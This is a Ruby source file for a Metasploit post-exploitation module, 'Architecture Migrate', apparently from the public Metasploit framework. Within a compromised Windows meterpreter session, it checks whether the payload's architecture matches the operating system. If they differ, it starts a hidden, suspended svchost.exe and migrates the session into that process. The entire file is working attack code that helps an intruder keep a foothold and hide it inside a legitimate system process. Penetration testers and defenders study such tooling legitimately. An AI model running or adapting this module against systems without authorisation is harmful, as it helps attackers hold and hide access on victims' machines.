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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::Windows::Registry
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  include Msf::Post::File
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  include Msf::Post::Common
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  include Msf::Post::Windows::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Architecture Migrate',
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        'Description' => %q{
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          This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a
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          new process with the correct architecture and migrates into that process.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Koen Riepe ([email protected])'],
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        'References' => [''],
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        'Platform' => [ 'win' ],
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        'Arch' => [ 'x86', 'x64' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_migrate
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              stdapi_railgun_api
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              stdapi_sys_process_execute
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              stdapi_sys_process_getpid
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
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        OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]),
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        OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', false])
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      ],
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      self.class
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    )
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  end
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  def check_32_on_64
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    apicall = session.railgun.kernel32.IsWow64Process(-1, 4)['Wow64Process']
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    # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
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    if apicall == "\x00\x00\x00\x00"
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      migrate = false
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    else
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      migrate = true
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    end
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    return migrate
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  rescue StandardError
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    print_error('Railgun not available, this module only works for binary meterpreters.')
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  end
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  def get_windows_loc
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    apicall = session.railgun.kernel32.GetEnvironmentVariableA('Windir', 255, 255)['lpBuffer']
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    windir = apicall.split(':')[0]
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    return windir
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  end
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  def do_migrate
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    if check_32_on_64
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      print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
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      newproc = datastore['EXE']
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      if exist?(newproc)
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        print_status("Starting new x64 process #{newproc}")
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        pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
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        print_good("Got pid #{pid}")
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        print_status('Migrating..')
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        session.core.migrate(pid)
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        if pid == session.sys.process.getpid
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          print_good('Success!')
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        else
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          print_error('Migration failed!')
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        end
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      else
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        print_error('The selected executable to migrate into does not exist')
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        if datastore['FALLBACK']
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          windir = get_windows_loc
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          newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
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          if exist?(newproc)
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            print_status("Starting new x64 process #{newproc}")
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            pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
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            print_good("Got pid #{pid}")
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            print_status('Migrating..')
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            session.core.migrate(pid)
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            if pid == session.sys.process.getpid
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              print_good('Success!')
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            else
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              print_error('Migration failed!')
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            end
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          end
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        end
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      end
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    else
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      print_good('The meterpreter is the same architecture as the OS!')
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    end
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  end
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  def run
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    if datastore['IGNORE_SYSTEM']
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      do_migrate
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    elsif !datastore['IGNORE_SYSTEM'] && is_system?
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      print_error('You are running as SYSTEM! Aborting migration.')
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    elsif datastore['IGNORE_SYSTEM'] && is_system?
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      print_error('You are running as SYSTEM! You will lose your privileges!')
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      do_migrate
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    elsif !datastore['IGNORE_SYSTEM'] && !is_system?
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      print_status('You\'re not running as SYSTEM. Moving on...')
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      do_migrate
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    end
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  end
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end
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